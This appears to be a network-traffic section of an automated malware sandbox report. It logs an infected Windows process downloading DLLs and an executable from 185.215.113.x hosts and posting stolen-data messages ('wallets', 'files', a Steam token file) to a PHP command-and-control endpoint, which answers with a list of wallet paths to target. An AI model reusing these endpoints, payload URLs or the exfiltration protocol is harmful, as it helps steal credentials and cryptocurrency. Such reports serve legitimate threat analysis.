00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 27, 2024 16:18:29.101088047 CEST	94	OUT	GET /f1ddeb6592c03206/msvcp140.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:29.343878984 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 27, 2024 16:18:29.962855101 CEST	90	OUT	GET /f1ddeb6592c03206/nss3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:30.196890116 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 27, 2024 16:18:32.475986958 CEST	94	OUT	GET /f1ddeb6592c03206/softokn3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:32.738986015 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 27, 2024 16:18:33.321825981 CEST	98	OUT	GET /f1ddeb6592c03206/vcruntime140.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:33.557121038 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 27, 2024 16:18:34.322025061 CEST	201	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJEGCFBGDHJJJJJKJE Host: 185.215.113.17 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:34.629884005 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:34.750754118 CEST	468	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHC Host: 185.215.113.17 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"wallets------JEBKKEGDBFIIEBFHIEHC--
Sep 27, 2024 16:18:35.051979065 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 27, 2024 16:18:35.213632107 CEST	466	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKE Host: 185.215.113.17 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 2d 2d 0d 0a Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="message"files------IIJEBFCFIJJJEBGDBAKE--
Sep 27, 2024 16:18:35.494601011 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:35.601938009 CEST	564	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.17 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file"------IDAAFBGDBKJJJKFIIIJJ--
Sep 27, 2024 16:18:35.910546064 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:35.954206944 CEST	473	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKF Host: 185.215.113.17 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="message"ybncbhylepme------AAEHJEGIIDAECAAKEBKF--
Sep 27, 2024 16:18:36.260900974 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:36.289891958 CEST	473	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCA Host: 185.215.113.17 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJJKEBGHJKFIDGCAAFCA--
Sep 27, 2024 16:18:37.803457022 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49614	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:17.229801893 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000066001&unit=246122658369
Sep 27, 2024 16:18:17.923355103 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49615	185.215.113.117	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:17.930890083 CEST	58	OUT	GET /inc/needmoney.exe HTTP/1.1 Host: 185.215.113.117
Sep 27, 2024 16:18:18.625284910 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:18 GMT Content-Type: application/octet-stream Content-Length: 4278784 Last-Modified: Thu, 12 Sep 2024 13:56:06 GMT Connection: keep-alive ETag: "66e2f2f6-414a00" Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 ba 08 00 00 8c 38 00 00 00 00 00 4c c9 08 00 00 10 00 00 00 d0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*8L@A@x" 7`@PCODE `DATA -.@BSS.idatax"$@.tls@.rdataP@P.reloc@`@P.rsrc7 7@PAJA@P
Sep 27, 2024 16:18:18.625340939 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 Data Ascii: @Boolean@FalseTrue@,@Char@@SmallintX@Integerp@Byte@Word@Cardinal
Sep 27, 2024 16:18:18.625396013 CEST	1236	IN	Data Raw: ff ff ff ff 90 b0 10 40 00 10 05 49 6e 74 36 34 00 00 00 00 00 00 00 80 ff ff ff ff ff ff ff 7f 90 cc 10 40 00 04 06 44 6f 75 62 6c 65 01 8d 40 00 dc 10 40 00 04 08 43 75 72 72 65 6e 63 79 04 90 ec 10 40 00 0a 06 53 74 72 69 6e 67 f8 10 40 00 0b Data Ascii: @Int64@Double@@Currency@String@WideString@Variant@@OleVariantp@p@4@4@4@4@4@02@L2@2@TObject\|@TObjectp@System
